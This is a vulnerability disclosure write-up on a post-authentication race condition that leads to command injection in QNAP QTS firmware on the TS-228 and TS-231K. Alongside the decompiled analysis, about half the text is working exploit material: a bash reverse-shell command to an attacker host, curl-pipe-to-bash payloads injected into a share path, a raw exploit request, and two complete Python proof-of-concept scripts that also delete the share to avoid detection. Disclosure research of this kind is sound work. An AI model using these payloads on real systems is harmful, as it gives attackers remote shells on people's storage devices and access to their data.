C100100: Qnap QTS, Race Condition to Remote Code Execution (post-auth)
Tonight I’m going to present you a new vulnerability it’s a Race Condition to Remote Code Execution. I did not test all the firmwares of all the models but only the two I had at hand (Qnap TS-228 and Qnap TS-231K).
Affected versions
- Qnap TS-228:
Firmware version | Vulnerable function |
---|---|
4.3.6.2050 | FUN_0000e700() |
4.3.6.1711 | FUN_0000e700() |
4.3.6.0959 | FUN_0000e700() |
4.3.2.0128 | FUN_0000e0b8() |
- Qnap TS-231K:
Firmware version | Vulnerable function |
---|---|
5.0.0.2055 | FUN_0000f658() |
5.0.0.1986 | FUN_0000f658() |
5.0.0.1932 | FUN_0000f658() |
5.0.0.1891 | FUN_0000f658() |
Let’s look for the bug
Our target
So that you can also find the vulnerable firmwares, I will detail how to search if a firmware is vulnerable or not. First we need to get the firmware:
Then we get the CGI script that interests us:
Then we open it in Ghidra and search the string “Recycle”:
This allows us to obtain a reference to the function expected to be vulnerable:
Let’s analyze what the function FUN_0000e700()
does.
Vulnerable function
The vulnerable function is the function FUN_0000e700()
, let’s look at its code
File: /home/httpd/cgi-bin/priv/privRequest.cgi
void FUN_0000e700(undefined4 param_1,undefined4 param_2,undefined4 param_3)
{
int iVar1;
size_t sVar2;
char *pcVar3;
undefined4 extraout_r1;
void *__ptr;
uint uVar4;
char local_238;
char local_237;
char local_236;
byte local_235;
char acStack536 [260];
byte local_114 [260];
local_114[0] = 0;
local_238 = '\0';
FUN_0001ac08("emptyShareRecycleBin",param_2,param_3,0);
iVar1 = CGI_Find_Parameter(param_1,"sharename"); #1
if (iVar1 != 0) {
strcpy((char *)local_114,*(char **)(iVar1 + 4));
}
__ptr = (void *)(uint)local_114[0];
if (__ptr != (void *)0x0) {
__ptr = (void *)URLdecode_to_UTF8(local_114); #2
Conf_Get_Field("/etc/smb.conf",__ptr,"recycle bin",&local_238,0x20); #3
if ((((local_238 == 'y') && (local_237 == 'e')) && (local_236 == 's')) && #3
(uVar4 = (uint)local_235, uVar4 == 0)) {
Conf_Get_Field("/etc/smb.conf",__ptr,&DAT_00020aa8,acStack536,0x101); #4
sVar2 = strlen(acStack536);
pcVar3 = (char *)calloc(1,sVar2 + 0x101);
sprintf(pcVar3,"/bin/rm -rf \"%s/@Recycle/\"*",acStack536); #5
system(pcVar3); #6
free(pcVar3);
goto LAB_0000e7d0;
}
}
uVar4 = 1;
LAB_0000e7d0:
pcVar3 = "%d";
FUN_0001ac30("result",0,"%d",uVar4);
FUN_0001ac1c("emptyShareRecycleBin",extraout_r1,pcVar3,uVar4);
if (__ptr != (void *)0x0) {
free(__ptr);
}
return;
}
- #1: The user parameter
$_GET["sharename"]
or$_POST["sharename"]
is retrieved. - #2: The value of the parameter is URL decoded.
- #3: Within file /etc/smb.conf if the entry
corresponding to the variable
$_GET["sharename"]
or$_POST["sharename"]
exists and this entry has an attributerecycle bin
set toyes
go to #4. - #4: The value of the attribute
&DAT_00020aa8
(path
) is injected in a bash command (see #5). - #5: The Command Injection takes place.
- #6: The command is executed.
So if we are able to create a share having for attribute recycle bin
the value
yes
and attribute path
the value $(<COMMAND_HERE>)
then it is possible to
execute arbitrary commands.
Before exploiting this vulnerability it is first necessary for us to reach it.
Trigger the vulnerable function
This function is only referred to once in the whole binary and it is within the
function FUN_0000e800()
:
File: /home/httpd/cgi-bin/priv/privRequest.cgi
int FUN_0000e800(undefined4 param_1,undefined4 param_2,undefined *param_3,uint *param_4)
{
char **ppcVar1;
...
undefined auStack292 [256];
iVar2 = CGI_Get_Input();
iVar3 = CGI_Find_Parameter(iVar2,&DAT_00020b94); #1
if (iVar3 != 0) {
iVar3 = *(int *)(iVar3 + 4);
}
iVar4 = CGI_Find_Parameter(iVar2,"wiz_func");
if ((iVar4 == 0) || (pcVar19 = *(char **)(iVar4 + 4), pcVar19 == (char *)0x0)) {
FUN_0001bbcc();
FUN_0001ac30("retValue",0,"-1",param_4);
goto LAB_0000ef9e;
}
...
iVar3 = strcmp(pcVar19,"empty_share_recycle_bin");
if (iVar3 == 0) {
FUN_0000e700(iVar2,extraout_r1_00,pcVar16);
goto LAB_0000ef9e;
}
...
}
By reading the code and we understand that:
- 1#: If the variable
$_GET[&DAT_00020b94]
or$_POST[&DAT_00020b94]
($_GET["sid"]
or$_POST["sid"]
) exists and is valid. - 2#: If the variable
$_GET["wiz_func"]
or$_POST["wiz_func"]
equalsempty_share_recycle_bin
then our vulnerable function is called.
So the only information to be transmitted in the request to trigger the vulnerable function are the following:
{
"sid": SID,
"wiz_func": "empty_share_recycle_bin",
"sharename": "<SHARE_NAME_HERE>"
}
Exploitation
To exploit this vulnerability we need to create a share which has the attribute
path
set to a command we want to execute and the recycle bin
attribute set
to yes
.
The problem is that in the life cycle of creating a share and thus editing the file /etc/smb.conf, this is what happens:
However if we manage to execute the vulnerable function in the time where
path
and recycle bin
attributes are good in file /etc/smb.conf
then we can trigger the execution of our command and that’s why it’s a Race
Condition.
Exploit for Qnap TS-228
Let’s say our NAS has IP 192.168.0.3
and exposes its web interface on port
8080
. And that we have for IP 192.168.0.4
with:
- Listening on port 8000 a python SimpleHTTPServer which expose file commands.
File: commands
bash -i >& /dev/tcp/192.168.0.4/4444 0>&1 &
rm -rf '/share/CACHEDEV1_DATA/A$('
- Listening on port
4444
, a netcat listener.
Here is a POC:
import requests
import time
SID = "kgi8r6a8"
HEADERS = {
"X-Requested-With": "XMLHttpRequest"
}
# Send a POST request without waiting for server's response.
def get_no_wait(url, datas):
r = None
try:
r = requests.post(url, headers=HEADERS, data=datas, timeout=0.1)
except requests.exceptions.ReadTimeout:
pass
return r
url = "http://192.168.0.3:8080/cgi-bin/priv/privWizard.cgi"
# Create a share with a bash command in the path.
datas = {
"sid": SID,
"wiz_func": "share_property",
"action": "share_property",
"old_sname": "FakeFolderName",
"new_sname": "FakeFolderName",
"share_comment": "FakeComment",
"manual_path": "A$(/sbin/curl http://192.168.0.4:8000/commands|/bin/bash)B",
"vol_no": 1,
"share_hidden": 0,
"oplocks": 0,
"mangled_names": 1,
"EncryptData": 0,
"ftp_wonly": 0,
"recycle_bin": 1,
"recycle_bin_administrators_only": 1,
"qsync": 0,
"add_to_media_folder": 0,
"hide_unreadable": 0,
"share_enumeration": 1,
"timemachine": 0
}
get_no_wait(url, datas)
# Race the creation of the share by expecting the option "recycle bin = yes"
# to be set for the created share. This option will be switched to
# "recycle bin = no" when FUN_000150cc() will end and the Command Injection
# via the function FUN_0000e700() will no longer be possible.
datas = {
"sid": SID,
"wiz_func": "empty_share_recycle_bin",
"sharename": "FakeFolderName"
}
condition = 0
while condition < 100:
get_no_wait(url, datas)
condition += 1
# Wait until the share is completely created
time.sleep(10)
# Remove the created share to avoid detection.
url = "http://192.168.0.3:8080/cgi-bin/priv/privRequest.cgi"
datas = {
"sid": SID,
"subfunc": "share",
"apply": 1,
"del_cnt": 1,
"share_list": "FakeFolderName"
}
r = requests.post(url, headers=HEADERS, data=datas)
print("[+] Done")
Exploit for Qnap TS-231K
The operation is the same for both models, since in both cases a Race Condition is used. The only difference is that the share creation request for the model TS-231K. Here is the POST request to send:
POST /cgi-bin/wizReq.cgi?sid=l9f1qqz7&wiz_func=share_create&action=add_share HTTP/1.1
Host: 192.168.0.252:8080
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 503
share_name=FakeFolderName&comment=FakeComment&guest=deny&hidden=0&oplocks=1&EncryptData=0&showSnapshots=1&wizard_filter=&user_wizard_filter=&userw0=admin&userd_len=0&userw_len=1&useno_len=0&group_wizard_filter=&grouprw0=administrators&grouprd_len=0&grouprw_len=1&groupno_len=0&access_r=setup_users&img_file_path=&path_type=manual"aSettings="a_size=&manual_path=A$(/sbin/curl http://192.168.0.4:8000/commands|/bin/bash)B&recycle_bin=1&recycle_bin_administrators_only=0"aRadio=0&addToMediaFolder=0&qsync=0&timemachine=0&vol_no=1&hide_unreadable=0&share_enumeration=0
Here is a POC:
import requests
import time
SID = "l9f1qqz7"
HEADERS = {
"X-Requested-With": "XMLHttpRequest"
}
# Send a POST request without waiting for server's response.
def get_no_wait(url, datas):
r = None
try:
r = requests.post(url, headers=HEADERS, data=datas, timeout=0.1)
except requests.exceptions.ReadTimeout:
pass
return r
url = "http://192.168.0.3:8080/cgi-bin/wizReq.cgi"
# Create a share with a bash command in the path.
datas = {
"sid": SID,
"wiz_func": "share_create",
"action": "add_share",
"share_name": "POC",
"comment": "POC",
"guest": "deny",
"hidden": 0,
"oplocks": 1,
"EncryptData": 0,
"showSnapshots": 1,
"wizard_filter": "",
"user_wizard_filter": "",
"userw0": "admin",
"userd_len": 0,
"userw_len": 1,
"useno_len": 0,
"group_wizard_filter": "",
"grouprw0": "administrators",
"grouprd_len": 0,
"grouprw_len": 1,
"groupno_len": 0,
"access_r": "setup_users",
"img_file_path": "",
"path_type": "manual",
"quotaSettings": "",
"quota_size": "",
"manual_path": "A$(/sbin/curl http://192.168.0.4:8000/commands|/bin/bash)B",
"recycle_bin": 1,
"recycle_bin_administrators_only": 0,
"quotaRadio": 0,
"addToMediaFolder": 0,
"qsync": 0,
"timemachine": 0,
"vol_no": 1,
"hide_unreadable": 0,
"share_enumeration": 0
}
get_no_wait(url, datas)
# Race the creation of the share by expecting the option "recycle bin = yes"
# to be set for the created share. This option will be switched to
# "recycle bin = no" when FUN_000150cc() will end and the Command Injection
# via the function FUN_0000e700() will no longer be possible.
url = "http://192.168.0.3:8080/cgi-bin/priv/privWizard.cgi"
datas = {
"sid": SID,
"wiz_func": "empty_share_recycle_bin",
"sharename": "FakeFolderName"
}
condition = 0
while condition < 100:
get_no_wait(url, datas)
condition += 1
# Wait until the share is completely created
time.sleep(10)
# Remove the created share to avoid detection.
url = "http://192.168.0.3:8080/cgi-bin/priv/privRequest.cgi"
datas = {
"sid": SID,
"subfunc": "share",
"apply": 1,
"del_cnt": 1,
"share_list": "FakeFolderName"
}
r = requests.post(url, headers=HEADERS, data=datas)
print("[+] Done")